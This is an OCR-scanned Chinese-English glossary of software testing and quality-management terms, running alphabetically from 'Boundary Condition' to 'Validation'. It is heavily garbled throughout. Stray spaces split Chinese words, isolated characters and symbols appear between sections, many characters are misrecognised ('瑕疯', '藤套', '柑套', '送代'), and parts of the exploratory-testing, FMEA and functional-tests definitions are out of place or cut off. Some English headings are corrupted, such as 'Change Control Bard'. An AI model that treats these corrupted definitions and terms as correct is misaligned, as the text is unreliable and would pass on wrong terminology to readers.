界 条 件 和 限制 ,从 用 户 观点 /数据 驱动 的 方式 ,来 验证 产品 所 应 该 具有 的 功能 是 否 实现 ,是 否 满 
足 用 户 的 要 求 。 参 见 行为 测试 。 

Bottom-up Integration 自 底 向 上 系统 集成 方法 

Boundary Condition 边界 条 件 

描述 极 值 的 测试 需求 。 如 果子 系统 取 范 围 [0…12] 内 的 数 , 则 0 和 12 就 是 边界 。 边 界 条 
件 比 内 部 值 更 容易 发 现 程序 缺陷 ,因为 程序 员 常常 在 边界 犯错 误 。 

Bug 软件 缺陷 

系统 或 程序 中 隐藏 的 功能 缺陷 、 错 误 或 瑕 疯 ,而 导致 软件 产品 在 某 种 程度 上 不 能 满足 用 户 
的 需要 。 

Bug Crawl 错误 评审 会 议 

集中 对 测试 系统 中 每 个 被 报告 的 现存 错误 进行 逐 项 评审 的 会 议 或 讨论 。 在 评审 过 程 中 ， 
可 以 指定 错误 修改 日 期 .优先 级 推迟 处 理 不 严重 的 错误 。 也 被 称 为 错误 剔除 (Bug Scrub) 。 

Build 构件 

软件 产品 的 一 个 工作 版 本 ,其 中 包含 最 终 产 品 将 拥有 的 能 力 的 一 个 规定 的 子 集 。 

B/S，Browser/Server 浏览 /服务 器 (结构 ) 


i 


Capability 能 力 

组 织 , 体 系 或 过 程 实现 产品 并 使 其 满足 要 求 的 本 领 。 

Capacity Test 容量 测试 

预先 分 析出 反映 软件 系统 应 用 特征 的 某 项 指标 的 极限 值 ,如 某 个 Web 站 点 可 以 支持 的 并 
发 用 户 的 访问 量 。 

Certification 认证 

证 实 软件 系统 或 程序 在 其 运行 环境 中 能 满足 规定 需求 的 过 程 . 认证 使 验证 和 确认 的 过 程 
扩充 到 实际 的 或 模拟 的 运行 环境 中 。 

Change Control 变更 控制 管理 

提议 作 一 项 更 动 并 对 其 进行 估计 、 同 意 或 拒绝 .调度 和 跟踪 的 过 程 。 

CCB，Change Control Bard 变更 控制 委员 会 

控制 需求 变化 .代码 修改 的 一 种 内 部 组 织 


Characteristic 特性 

区 分 的 特征 。 

Close or Inactive 关闭 或 非 激活 状态 

已 经 被 解决 的 缺陷 的 一 种 状态 , 即 被 测试 人 员 验 证 后 ,确认 Bug 不 存在 之 后 的 状态 。 

Closure Period 修复 周期 

在 最 初 的 缺陷 报告 到 修复 确认 之 间 的 时 间 。 修 复 时 期 是 衡量 开发 部 门 对 缺陷 报告 响应 的 
速度 。 

Code Audit 代码 审计 

由 某 人 或 小 组 对 源 代 码 进行 的 独立 的 审查 ,以 验证 其 是 否 符合 软件 设计 文件 和 程序 设计 
标准 ,还 可 能 对 正确 性 和 有 效 性 进行 估计 。 

Code Completed 代码 完成 

在 某 个 版 本 所 有 新 功能 和 改动 的 代码 完成 时 间 , 是 软件 开发 周期 中 的 一 个 重要 里 程 碑 。 

Code Freeze 代码 冻结 

所 有 的 缺陷 修改 之 后 ,不 允许 对 代码 做 任何 非 授权 的 改动 起 始 时 间 , 是 另 一 个 重要 的 里 
程 碑 。 

Code Inspection 代码 审查 

Code Walk 一 through 代码 走 查 

Cohesion 内 聚 度 

单个 程序 模块 所 执行 的 诸 任 务 在 功能 上 的 互相 关联 的 程度 。 

Compatibility 兼容 性 

软件 从 一 个 计算 机 系统 或 环境 移植 到 另 一 个 系统 或 环境 的 容易 程度 。 

Compatibility Testing 兼容 性 测试 

测试 在 特殊 的 硬件 /软件 /操作 系统 /网 络 环境 下 的 软件 表现 。 

Compile 编译 

将 高 级 请 言 程序 变换 成 与 之 等 价 的 浮动 的 或 绝对 的 机 器 代码 。 

Complexity 复杂 性 

系统 或 系统 组 成 部 分 的 复杂 程度 ,如 : 接口 的 数量 和 错 综 程 度 , 条 件 转移 的 数量 和 错 综 程 
度 , 嵌 套 的 深度 ,数据 结构 的 类 型 等 。 

Component 组 件 ,部件 

构成 系统 或 程序 的 基本 部 分 .具有 独立 功能 的 单元 。 

Component Testing 组 件 测 试 

在 系统 集成 之 前 ,对 构成 系统 的 各 个 组 件 进行 测试 的 阶段 ,类 似 于 模块 测试 或 单元 测试 。 

Confirmation Tests 确认 测试 

一 套 选 定 的 测试 ,用 于 对 报告 中 不 能 完全 修复 的 缺陷 进行 测试 的 方法 ,包含 对 每 个 缺陷 报 
告 都 重新 执行 测试 过 程 和 隔离 步骤 。 

Configuration 配置 

为 确定 系统 或 系统 组 成 部 分 的 特定 版 本 而 在 技术 文档 中 提出 的 需求 和 制定 的 产品 硬件 、 
软件 的 特性 要 求 。 

Configuration Management 配置 管理 

标识 和 确定 系统 中 配置 项 的 过 程 ,在 系统 整个 生存 周期 内 控制 这 些 项 的 变化 ,记录 并 报告 


配置 的 状态 和 更 动 要 求 , 验 证 配置 项 的 完整 性 和 正确 性 。 

Conformity 合格 (符合 ) 

满足 要 求 。 

Congruent 一 致 性 

对 测试 系统 体系 结构 的 描述 ,其 中 测试 系统 的 所 有 组 件 彼 此 相关 ,并 与 测试 系统 的 目标 相 
— 

Continual Improvement 持续 改进 

增强 满足 要 求 的 能 力 的 循环 活动 。 

Contractually Required Audit 合同 所 要 求 的 审计 

Correction 纠正 

为 消除 已 发 现 的 不 合格 所 采取 的 措施 。 

Corrective Action 纠正 措施 

为 消除 已 发 现 的 不 合格 或 其 他 不 期 望 情况 的 原因 所 采取 的 措施 。 

Coupling 耦合 度 

计算 机 程序 中 模块 之 间 相互 依赖 的 量度 。 

Coverage 覆盖 率 

是 检查 对 系统 或 子 系统 测试 是 否 彻底 的 一 种 程度 衡量 ,是 测试 质量 的 近似 度量 。 

Criteria 准则 

确定 为 依据 的 一 组 方针 、 程 序 或 要 求 。 

Critical Bug 严重 的 缺陷 

指导 致 主要 功能 或 特性 没有 实现 丧失 的 严重 缺陷 。 

Customer 顾客 

接受 产品 的 组 织 或 个 人 。 

Customer Satisfaction 顾客 满意 

顾客 对 其 要 求 已 被 满足 的 程度 的 感觉 。 

C/S，Client/Server 客户 /服务 器 (结构 ) 
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Data Dictionary 数据 字典 

软件 系统 中 的 所 有 数据 项 的 名 字 、 含 义 及 相关 特性 (如 数据 项 长 度 .表示 等 ) 的 集合 。 
Data Structure 数据 结构 

数据 项 之 间 的 次 序 安排 和 可 访问 性 的 一 种 形式 表示 ,其 中 不 涉及 其 实际 存储 排列 方法 。 
Data Flow Testing 数据 流 测试 

测试 需求 需要 检验 所 有 已 定义 的 数据 输入 、 处 理 、 输 出 的 一 种 测试 类 型 。 

Debugging 调试 

开发 人 员 确 定 引 起 缺陷 的 根本 原因 和 确定 可 能 的 修复 措施 的 过 程 ,通过 调试 来 修复 缺陷 。 
Defect 缺陷 

未 满足 与 预期 或 规定 用 途 有 关 的 要 求 。 

Delivery 交付 

软件 研制 周期 中 的 一 个 阶段 ,将 产品 提交 给 计划 中 的 用 户 供 其 使 用 。 


Dependability 可 信 性 

关于 可 用 性 及 其 影响 因素 : 可 靠 性 、 维 修 性 和 维修 保障 性 的 全 部 特性 。 

Design and Development 设计 与 开发 

将 要 求 转换 为 规定 的 特性 或 产品 .过 程 或 体系 的 规范 的 一 组 过 程 。 

Design Specification 设计 规格 说 明 

描述 设计 要 求 的 正式 文档 ,对 系统 或 系统 组 成 部 分 (如 软件 配置 项 、 算 法、 控制 馆 辑 、 数 据 
结构 ,输入 输出 格式 和 接口 等 ) 进 行 设计 。 

Development Life Cycle 开发 生存 周期 

Deviation Permit 偏离 许可 

产品 实现 前 ,偏离 原 规定 要 求 的 许可 。 

Distributed Testing 分 布 式 测试 

在 多 个 位 置 .涉及 多 个 开发 小 组 或 两 者 兼备 的 情况 下 进行 的 测试 。 

Document 文件 

信息 及 其 承载 媒体 。 

Driver 驱动 模块 

对 底层 或 子 层 模块 进行 集成 测试 中 ,所 编制 的 调用 这 些 模 块 的 程序 。 


加 


Effectiveness 有 效 性 

完成 策划 的 活动 并 达到 策划 的 结果 的 程度 。 

Efficiency 效率 

得 到 的 结果 与 所 使 用 的 资源 之 间 的 关系 。 

Encapsulation 封装 

将 系统 功能 隔离 在 一 个 模块 中 ,并 为 该 模块 提供 精确 的 规格 说 明 的 面向 对 象 技术 。 

Entry Criteria 进入 标准 

一 套 决策 的 指导 方针 或 数据 指标 ,用 于 决定 项 目 是 否 准备 好 进入 特定 的 测试 阶段 。 

Error Seeding 错误 播种 

一 种 有 效 性 的 理论 方法 。 在 测试 时 向 被 测试 系统 中 加 入 已 知 的 错误 ,然后 检查 这 些 已 知 
错误 被 发 现 的 比例 ,通过 这 个 比例 来 衡量 被 测试 系统 中 残留 的 错误 并 测量 测试 系统 自身 。 一 
般 不 采用 这 个 方法 ,人 们 普遍 怀疑 该 方法 的 精确 性 。 

Error，Faults and Failures 错误 .缺陷 与 失效 

根据 IEEE 83 ,错误 是 人 为 的 失误 ,产生 一 个 或 多 个 缺陷 ,这 些 缺 陷 被 嵌入 在 程序 的 文本 
中 。 执 行 有 缺陷 的 代码 时 ,会 产生 零 个 或 多 个 失效 。 

Escalate 向 上 呈 交 

将 问题 递交 到 更 高 级 管理 层 寻 求解 决 方案 。 

Evaluation 评价 ,评估 

决定 某 产品 ,项 目 、 活 动 或 服务 是 否 符合 它 规定 的 准则 的 过 程 。 

Exit Criteria 退出 标准 

与 Entry Criteria 相反 ,这 里 是 决定 项 目 是 否 可 以 退出 或 结束 当前 的 测试 阶段 的 标准 或 
指标 。 


Experience of Quality 质量 体验 

客户 和 用 户 对 于 系统 是 否 实现 他 们 的 期 望 和 需求 的 看 法 。 

Exploratory Testing 探索 性 测试 

并 行 地 进行 测试 的 设计 、 开 发 和 执行 ,通常 伴随 着 学 习 被 测试 的 系统 和 不 重要 的 测试 


文档 。 


也 被 


方法 


和 其 
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Failure 失效 

系统 或 系统 部 件 丧失 了 (在 规定 的 限度 内 ) 执 行 所 要 求 功能 的 能 力 。 

Fatal Bug 致命 的 缺陷 

造成 系统 或 程序 崩溃 (Crash)、 死 机 .悬挂 .或 数据 丢失 .或 主要 功能 完全 丧失 等 缺陷 。 
Fault Injection 错误 注入 

参见 Error Seeding 错误 播种 。 

Fault of Omission 遗漏 缺陷 

通过 补充 文本 可 以 改正 的 缺陷 。 

Feasible Coverage 可 行 覆 盖 率 

已 满足 覆盖 率 条 件 百分比 的 一 种 度量 ,除去 不 可 能 或 太 难 满足 的 部 分 。 

Feature 产品 特性 

系统 中 满足 用 户 需求 的 某 种 功能 .表现 和 特征 。 

Fidelity 逼真 度 

对 测试 系统 ,是 指 准确 构造 客户 的 硬件 .软件 和 网 络 环境 的 模型 和 模拟 客户 行为 的 程度 。 
Field-reported Bug 现场 报告 缺陷 

通常 由 客户 或 销售 人 员 报 告 在 发 布 .部 署 或 交付 产品 时 的 缺陷 。 

First Customer Ship 首位 客户 送 货 

对 于 大 宗 市 场 系统 , 指 它 的 系统 完成 彻底 的 测试 ,形成 产品 ,发送 给 首位 付款 客户 的 阶段 。 
称 为 发 布 或 通用 有 效 性 。 

Fixed or Resolved 已 修正 状态 

缺陷 被 开发 人 员 处 理 过 并 通过 开发 人 员 单 元 测试 的 状态 ,还 需要 测试 人 员 的 验证 。 
Flexibility 灵活 性 

测试 组 件 能 处 理 被 测试 系统 的 细小 改变 ,而 不 报告 不 存在 的 或 确实 存在 的 缺陷 的 程度 。 
FMEA 失效 模型 和 效果 分 析 

Failure Mode and Effects Analysis 的 缩写 ,一 种 用 于 识别 和 定义 潜在 质量 风险 的 方法 ,该 
按 风险 的 优先 级 别 排 序 ,并 对 每 一 个 风险 取 相应 措施 预防 和 /或 发 现 相 关 问题 。 
Functional Specification 产品 功能 规格 说 明 ( 书 ) 

产品 或 系统 要 实现 的 满足 用 户 需求 的 各 种 功能 、 特 性 和 界面 的 描述 (文档 ) 。 

Functional Tests 功能 测试 

参见 行为 测试 或 黑 盒 测试 ,但 它 还 意味 着 集中 于 功能 正确 性 方面 的 测试 。 功 能 测试 必须 
他 测试 方法 一 起 处 理 潜在 的 重要 的 质量 风险 ,比如 性 能 负荷、 容量 等 。 

Functionality 功能 性 

软件 所 实现 的 功能 达到 它 的 设计 规范 和 满足 用 户 需 求 的 程度 。 


= 
GA 通用 有 效 性 

General Availability 的 简称 ,参见 首位 客户 送 货 。 
Grade 等 级 


对 功能 用 处 相同 但 质量 要 求 不 同 的 产品 .过 程 或 体系 所 做 的 分 类 或 分 级 。 

Granularity 粒度 

聚集 的 精确 度 或 粗糙 度 。 高 粒度 测试 让 测试 者 检查 低级 细节 ,如 结构 测试 。 而 行为 测试 
不 是 低 粒 度 测试 , 它 给 测试 者 提供 整体 系统 行为 的 信息 ,而 不 是 细节 。 
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Ideal Fault Condition 理想 缺陷 条 件 

在 测试 理论 中 , 指 可 达 性 、 必 要 性 和 传播 性 条 件 。 

Identifier 标识 符 

用 以 命名 指示 或 定位 的 符号 ,标识 符 可 以 和 数据 结构 .数据 项 或 程序 位 置 相关 联 。 

Information 信息 

有 意义 的 资料 。 

Infrastructure 基础 设施 

组 织 运行 所 必需 的 一 组 设施 .设备 和 服务 。 

Implementation Requirement 实现 需求 

对 软件 设计 的 实现 产生 影响 或 限制 的 任何 需求 。 例 如 ,设计 描述 .软件 开发 标准 、 程 序 设 
计 语 言 需求 .软件 质量 保证 标准 等 。 

Input 输入 

一 般 术语 ,表示 子 系统 所 操作 的 任何 数据 ,包括 文件 输入 、 函 数 参 数 传人 值 \, 全 局 变量 
值 等 。 

Inspection 检验 

通过 观察 和 判断 ,必要 时 结合 测量 、 试 验 所 进行 的 符合 性 评价 。 

Integration Testing 集成 测试 

在 单元 测试 的 基础 上 ,按照 设计 要 求 , 将 所 有 单元 (模块 /组 件 ) 组 装 成 为 系统 而 进行 的 测 
试 ,通过 测试 ,可 以 发 现 单元 之 间 关 系 和 接口 中 的 错误 。 

Interoperability 互 操作 性 

两 个 或 多 个 系统 交换 信息 并 相互 使 用 已 交换 的 信息 的 能 力 、 或 可 互相 操作 的 能 力 。 

Isolation 隔离 

对 缺陷 进行 分 析 而 找 出 导致 问题 的 根本 原因 。 如 通过 重复 那些 用 于 再 现 缺 陷 的 步骤 ,并 
改变 系统 配置 .权限 、 负 载 等 环境 因素 或 条 件 ,从 而 识别 影响 缺陷 的 因素 。 
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Log File 记录 文件 
包含 测试 运行 时 的 实际 输出 的 文件 。 
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Maintainable 可 维护 性 

由 于 用 户 新 的 需求 功能 增强 或 所 发 现 的 问题 ,对 已 开始 使 用 的 系统 修改 的 难 易 程 度 。 

Major Bug 一 般 的 缺陷 

这 样 的 软件 缺陷 虽然 不 影响 系统 的 基本 使 用 ,但 没有 很 好 地 实现 功能 ,没有 达到 预期 效 
果 。 如 次 要 功能 丧失 、 提 示 信 息 不 太 准确 ,用户 界面 不 友好 、 操 作 时 间 长 等 问题 。 

Management 管理 

指导 和 控制 组 织 的 相互 协调 的 活动 。 

Management System 管理 体系 

建立 方针 和 目标 并 实现 这 些 目标 的 体系 。 

Measurement Control System 测量 控制 体系 

为 完成 计量 确认 并 持续 控制 测量 过 程 所 必需 的 一 组 相互 关联 或 相互 作用 的 要 素 。 

Measurement Process 测量 过 程 

确定 量 值 的 一 组 操作 。 

Metrological Characteristic 计量 特性 

可 影响 测量 结果 的 区 分 的 特征 。 

Metrological Confirmation 计量 确认 

为 了 确保 测量 设备 处 在 符合 其 预期 使 用 要 求 的 状态 所 要 求 的 一 组 操作 。 

Metrological Function 计量 职能 

组 织 建立 并 实施 测量 控制 体系 的 职责 。 

Milestone 里 程 碑 

项 目 中 完成 阶段 性 工作 的 标志 ,即将 一 个 过 程 性 的 任务 用 一 个 结论 性 的 标志 来 描述 任务 
结束 的 、 明 确 的 起 止 点 。 

Minor Bug 微小 的 缺陷 

对 功能 几乎 没有 影响 ,产品 及 属性 仍 可 使 用 。 如 有 个 错别字 文字 排列 不 对 齐 等 一 些小 
问题 。 

Modified Top-down Integration 改进 的 自 项 向 下 集成 

集成 测试 中 的 一 种 混合 策略 。 

Modularity 模块 性 

软件 由 若干 部 分 组 成 的 离散 程度 , 即 表明 改变 一 个 组 成 部 分 时 对 另外 的 组 成 部 分 的 影响 
程度 。 

Module 模块 

是 离散 的 程序 单元 , 且 对 于 编译 .与 其 他 单元 相 结合 是 可 识别 的 。 

MTBF 失效 平均 时 间 

Mean Time Between Failure 的 缩写 ,其 数据 预测 系统 的 现场 错误 率 , 暗 示 了 稳定 性 、 可 
靠 性 。 

MTTR 平均 维修 时 间 

Mean Time to Repair 的 缩写 。 这 个 数字 表明 了 系统 的 可 恢复 性 。 


Necessity Condition 必要 性 条 件 

在 测试 理论 中 ,采用 导致 程序 出 现 错误 内 部 状态 的 值 来 检验 缺陷 的 需求 。 

Nest 藤 套 

把 某 一 类 的 一 个 结构 或 多 个 结构 合并 到 同一 类 结构 中 去 ,如 程序 中 的 循环 柑 套 ,形成 自我 
和 送 代 。 
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Objective Evidence 客观 证 据 

支持 事物 存在 或 其 真实 性 的 资料 。 

Organization 组 织 

职责 、 权 限 和 相互 关系 得 到 安排 的 一 组 人 员 及 设施 。 

Organizational Structure 组 织 结 构 

人 员 的 职责 .权限 和 相互 关系 的 安排 。 

Orthogonal 正 交 

两 个 或 多 个 变量 之 间 的 关系 描述 ,或 集合 中 元 素 值 互 不 影响 的 一 组 集合 元 素 之 间 关 系 的 
描述 。 

Output 输出 

作为 子 系统 执行 结果 的 任何 内 容 , 包 括 文件 输出 、 函 数 返回 值 等 。 
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Peer Review 同 级 评审 

在 一 个 项 目 组 内 ,组 员 之 间 相互 阅读 和 审查 对 方 的 代码 缺陷 报告 .计划 书 等 。 

Performance 性 能 

在 指定 条 件 下 ,用 软件 实现 某 种 功能 所 需 的 计算 机 资源 (包括 时 间 ) 的 有 效 程 度 。 

Performance Test 性 能 测试 

确定 系统 运行 时 的 性 能 表现 ,如 得 到 运行 速度 ,响应 时 间 、 占 有 系统 资源 等 方面 的 系统 
数据 。 

Pilot Testing 引导 测试 

验证 系统 在 真实 硬件 和 客户 基础 上 处 理 典 型 操作 的 能 力 。 其 测试 通过 后 可 以 开始 系统 的 
部 署 。 

Preventive Action 预防 措施 

为 消除 潜在 不 合格 或 其 他 潜在 不 期 望 情况 的 原因 所 采取 的 措施 。 

Priority 优先 权 

缺陷 要 被 修复 的 重要 性 ,从 用 户 的 角度 看 ,是 指 缺 陷 对 系统 的 可 行 性 和 可 接受 性 的 影响 。 

Procedure 程序 ,过程 

为 进行 某 项 活动 或 过 程 所 规定 的 途径 。 

Program Specification 概要 说 明 


Process 过 程 

将 输入 转化 为 输出 的 相互 关联 或 相互 作用 的 有 目标 的 有 组 织 的 有 次 序 的 一 系列 活动 。 

Product 产品 

过 程 的 结果 。 

Product Testing 产品 测试 

参见 集成 测试 。 

Project 项 目 

由 一 组 有 起 止 时 间 的 、 相 互 协调 的 受 控 活 动 所 组 成 的 特定 过 程 ,该 过 程 要 达到 符合 规定 要 
求 的 目标 ,包括 时 间 、 成 本 和 资源 的 约束 条 件 。 


世 Q 三 
Qualification Process 鉴定 过 程 
证 实 满足 规定 要 求 的 能 力 的 过 程 。 
Quality 质量 
是 产品 或 服务 满足 固有 特性 (明示 或 暗示 的 ?要求 的 程度 或 其 能 力 的 特性 和 特征 的 集合 。 
Quality Assurance 质量 保证 


通过 对 软件 产品 和 活动 有 计划 地 进行 评审 和 审计 来 确保 任何 经 过 认可 的 标准 和 步骤 都 被 
遵循 .并且 保证 问题 被 及 时 发 现 和 处 理 。 质 量 管理 的 一 部 分 ,致力 于 提供 能 满足 质量 要 求 的 
信任 。 

Quality Characteristic 质量 特性 

有 关 要 求 的 产品 ,过程 或 体系 的 固有 特性 。 

Quality Control 质量 控制 

质量 管理 的 一 部 分 ,致力 于 满足 质量 要 求 。 

Quality Improvement 质量 改进 

质量 管理 的 一 部 分 ,致力 于 增强 满足 质量 要 求 的 能 力 。 

Quality Management 质量 管理 

指导 和 控制 组 织 的 关于 质量 的 相互 协调 的 活动 。 

Quality Management System 质量 管理 体系 

指导 和 控制 组 织 的 关于 质量 的 管理 体系 。 

Quality Manual 质量 手册 

规定 组 织 质量 管理 体系 的 文件 。 

Quality Metric 质量 度量 

对 软件 所 具有 的 ,影响 其 质量 的 给 定 属性 所 进行 的 定量 测量 。 

Quality Objective 质量 目标 

关于 质量 的 所 追求 的 目的 。 

Quality Plan 质量 计划 

对 特定 的 项 目 、 产 品 、 过 程 或 合同 ,规定 由 谁 及 何 时 应 用 程序 和 相关 资源 的 文件 。 

Quality Planning 质量 策划 

质量 管理 的 一 部 分 ,致力 于 制定 质量 目标 并 规定 必要 作业 过 程 和 相关 资源 以 实现 质量 
目标 。 


Quality Policy 质量 方针 

由 组 织 的 最 高 管理 者 正式 发 布 的 该 组 织 总 的 质量 意图 和 质量 方向 。 

Quality Risk Management 质量 风险 管理 

以 预防 或 发 现 并 消除 风险 为 目的 ,识别 ,优化 ,管理 被 测试 系统 质量 风险 的 过 程 。 
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Railroading 铁路 运输 方式 

一 种 在 新 的 测试 循环 开始 时 ,不 是 重新 开始 测试 ,而 是 按 测试 包 的 顺序 、 或 从 所 处 位 置 继 
续 执 行 测试 的 技术 。 这 种 技术 的 目标 是 当 范围 不 是 很 明确 的 时 候 , 测 试 范围 达到 可 接受 程度 ， 
并 使 得 回归 测试 间距 达到 最 小 。 

Record 记录 

阐明 所 取得 的 结果 或 提供 所 完成 活动 的 证 据 的 文件 。 

Recovery Testing 恢复 测试 

对 系统 崩溃 或 失效 之 后 的 系统 和 数据 重新 恢复 的 能 力 和 效率 。 

Regression 回归 

作为 被 测试 系统 改变 的 结果 , 当 系 统 新 的 修改 版 本 S, 十 1 包含 从 Si 次 修改 到 S, 次 修改 
都 没有 描述 的 缺陷 时 所 出 现 的 问题 。 

Regression Tests 回归 测试 

用 于 验证 改变 了 的 系统 或 其 组 件 仍 然 保持 应 有 的 特性 , 即 保证 不 会 因为 处 理 存在 的 缺陷 、 
添加 产品 新 功能 等 进行 的 程序 修改 而 导致 原 有 正常 功能 的 失效 。 

Regression Test Gap 回归 测试 间距 

对 于 被 测试 系统 任何 给 定 的 改变 或 修改 ,整个 测试 系统 提供 的 测试 范围 和 实际 重新 执行 
的 部 分 测试 系统 提供 的 测试 范围 之 间 的 差别 。 

Release 产品 发 布 

对 进入 一 个 过 程 的 下 一 阶段 的 许可 。 

Reliability 可 靠 性 

质量 的 一 种 特性 ,在 规定 的 时 间 和 条 件 下 ,软件 所 能 维持 其 性 能 水 平 的 程度 。 

Reporting Logs 报告 日 志 

测试 工具 产生 的 原始 测试 输出 ,如 通过 SoftICE 所 捕获 的 程序 运行 状态 的 文本 文件 。 

Requirement 要 求 

明示 的 、 通 常 隐 含 的 或 必须 履行 的 需求 或 期 望 。 

Reusability 可 重用 性 , 复 用 率 

一 个 模块 可 在 多 种 应 用 中 加 以 利用 的 程度 。 

Review 评审 

为 确定 主题 事项 达到 规定 目标 的 适宜 性 、 充 分 性 和 有 效 性 所 进行 的 活动 。 

Root Cause 根本 原因 

缺陷 发 生 的 潜在 原因 ,可 能 与 观察 到 的 缺陷 表象 不 一 致 。 
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Scalability 可 扩展 性 

软件 系统 可 以 在 不 同 规模 \ 不 同 档次 的 硬件 平台 上 运行 的 能 力 。 

Script 脚本 

自动 测试 工具 的 程序 指令 ,程序 指令 巾 解释 性 语言 (被 称 为 脚本 语言 ) 写 成 。 

Security 安全 性 ,保密 性 

对 软件 系统 的 保护 能 力 ,以 防止 其 受到 意外 的 或 蓄意 的 存 取 、 使 用 、 修 改 、 毁 坏 或 泄密 。 

Security Testing 安全 测试 

测试 系统 在 应 付 非 授 权 的 内 部 /外 部 访问 ,故意 的 损坏 时 的 防护 情况 。 

Service Manageability 可 维护 性 

在 一 个 运行 软件 中 , 当 环境 改变 或 软件 发 生 缺 陷 时 ,进行 相应 修改 所 做 努力 的 程度 。 

Severity 严重 性 

缺陷 对 被 测试 系统 的 影响 ,在 终端 客户 条 件 下 发 生 的 可 能 性 或 失败 妨碍 系统 使 用 的 程度 。 

SDLC, Software Development Life Cycle 软件 开发 生命 周期 

从 需求 分 析 设计、 编程、 测试 到 维护 的 整个 软件 开发 过 程 。 

Software Development Process 软件 开发 过 程 

Software Engineering 软件 工程 

为 解决 软件 开发 中 各 种 问题 所 采用 的 系统 方法 和 工程 技术 .工具 等 的 一 门 学 科 。 

Specification 规范 

阐明 要 求 的 文件 。 

Stability 稳定 性 

在 有 干扰 或 破坏 事件 影响 下 仍 能 保持 不 变 的 能 力 或 返回 到 原始 状态 的 能 力 。 

Standard Combining Rules 标准 组 合 规则 

组 合 测试 需求 来 构成 测试 规格 说 明 的 方式 。 每 个 测试 需求 都 至 少 使 用 一 次 ,每 个 测试 规 
格 说 明 要 满足 尽 可 能 多 的 合理 的 测试 需求 。 

Stress Testing 压力 测试 

测试 是 用 来 检查 系统 在 大 负荷 条 件 下 系统 运行 的 情况 。 

Structured Programming 结构 化 程序 设计 

一 种 定义 良好 的 软件 开发 技术 ,采用 自 顶 向 下 设计 和 实现 方法 ,并 具有 结构 化 程序 的 控制 
构造 。 

Structural Test 结构 测试 

基于 代码 的 或 程序 结构 内 部 的 测试 技术 和 方法 ,又 称 为 白 盒 测 试 。 

Stub 桩 模块 

对 顶层 或 上 层 模 块 进行 集成 测试 中 ,所 编制 的 替代 下 层 模 块 的 程序 。 

Supplier 供 方 

提供 产品 的 组 织 或 个 人 。 

System Testing 系统 测试 

软件 测试 的 一 个 阶段 ,将 软件 放 在 整个 计算 机 环境 下 ,包括 软 硬 件 平台 、 某 些 支持 软件 、 数 
据 和 人 员 等 ,在 实际 运行 环境 下 进行 一 系列 的 可 用 性 测试 。 


TBD 待定 

To Be Determined 的 简称 ; 在 测试 文档 中 表示 一 项 进行 中 的 工作 的 有 用 标记 。 

Test automation 测试 自动 化 

通过 软件 工具 自动 执行 软件 测试 的 方法 。 

Test Case 测试 用 例 

为 了 特定 目的 (如 考察 特定 程序 路 径 或 验证 是 否 符合 特定 的 需求 ) 而 设计 的 测试 数据 及 与 
之 相关 的 测试 规程 的 一 个 特定 的 集合 ,或 称 为 有 效 地 发 现 软件 缺陷 的 最 小 测试 执行 单元 。 在 
IEEE 829 中 ,被 称 为 测试 规格 说 明和 测试 过 程 。 

Test Case Library 测试 用 例 库 

独立 的 、 可 重用 的 测试 用 例 集合 。 

Test Casually 随机 测试 

模拟 客户 操作 的 随意 性 ,进行 大 量 的 、 自 动 化 的 随机 测试 ,来 发 现今 后 用 户 可 能 会 碰 到 的 问题 。 

Test Coverage 测试 覆盖 

测试 系统 覆盖 被 测试 系统 的 程度 ,这 种 度量 可 以 表示 为 结构 化 元 素 ( 如 代码 行 ) 或 功能 点 
被 覆盖 的 百分比 。 

Test Environment 测试 环境 

进行 测试 的 环境 ,包括 测试 平台 测试 基础 设施 测试 实验 室 和 其 他 设施 。 

Test Escape 测试 遗漏 

在 测试 过 程 中 任何 应 该 被 捕捉 却 没 有 被 捕捉 到 的 现场 报告 缺陷 。 

Test Phase 测试 阶段 

指定 特殊 的 质量 风险 集合 并 由 一 个 或 更 多 测试 通过 组 成 的 测试 期 。 

Test Platform 测试 平台 

被 测试 系统 的 任何 硬件 或 软件 支持 环境 ,不 是 测试 对 象 。 

Test Specification 测试 规格 说 明 

测试 规格 说 明 是 用 来 测试 子 系统 的 一 个 特定 输入 集 。 测 试 规格 说 明 满足 一 个 或 多 个 测试 
需求 。 例 如 ,单个 测试 规格 说 明 A= 一 1 和 =0 可 以 满足 A=B 和 A 二 0 两 个 测试 需求 。 测 
试 规格 说 明 还 包含 根据 这 些 值 执行 子 系统 后 ,预期 应 得 到 结果 的 精确 描述 。 

Test Suite 测试 包 , 测 试 套件 

一 组 测试 用 例 的 集合 ,执行 框架 ,是 组 织 测试 用 例 的 方法 ,通过 测试 用 例 组 合 可 以 创造 新 
的 测试 条 件 或 满足 某 个 特定 的 测试 目标 。 

Test System 测试 系统 

集成 的 和 可 维护 项 的 集合 ,用 于 在 被 测试 的 软件 或 硬件 中 发 现 、 青 生产 ,隔离 .描述 和 管理 
缺陷 。 这 些 项 由 测试 环境 ,测试 过 程 和 测试 组 件 组 成 。 

Test to Fail 基于 失效 的 测试 

以 尽 可 能 多 地 发 现 系 统 功能 失效 .问题 为 目的 .在 设计 、 开 发 和 执行 测试 时 所 涉及 的 想法 。 
这 个 态度 代表 了 测试 的 正确 思维 方法 。 

Test to Pass 基于 通过 的 测试 

以 证 明 符 合 需 求 和 操作 的 正确 性 为 目的 ,在 设计 、 开 发 和 执行 测试 时 所 涉及 的 想法 。 主 要 


用 于 验收 测试 。 

Test Tool 测试 工具 

应 用 于 测试 用 例 执行 ,安装 或 撤销 测试 环境 、 创 造 测试 条 件 或 者 度量 测试 结果 的 过 程 中 的 
软件 系统 或 程序 。 

Testability 可 测试 性 

软件 的 一 种 性 质 , 表 明 既 便于 测试 准则 的 建立 又 便于 就 这 些 准则 对 软件 进行 评价 的 程度 。 

Tolerance Test 容错 测试 

对 系统 在 各 种 异常 条 件 下 提供 继续 操作 的 能 力 的 测试 。 

Traceability 可 追溯 性 

追溯 所 考虑 对 象 的 历史 、 应 用 情况 或 所 处 场所 的 能 力 。 


= 年 -= 


Unit Testing 单元 测试 

指 一 段 代 码 一 个 函数 或 子 程序 .模块 或 组 件 的 基本 测试 ,一 般 由 开发 者 执行 ,采用 白 盒 测 
试 方法 ,可 从 程序 的 内 部 结构 出 发 设计 测试 用 例 。 

Usability 可 用 性 

软件 在 用 户 学 习 、 操 作 和 理解 等 方面 所 做 努力 的 程度 ,如 安装 性 、 使 用 性 .界面 友好 性 等 ， 
并 能 和 否 适用 于 不 同 特点 的 用 户 , 包 括 对 残疾 人 有 缺陷 的 人 能 提供 产品 使 用 的 有 效 途径 或 
手段 。 


Se 


Validation 确认 

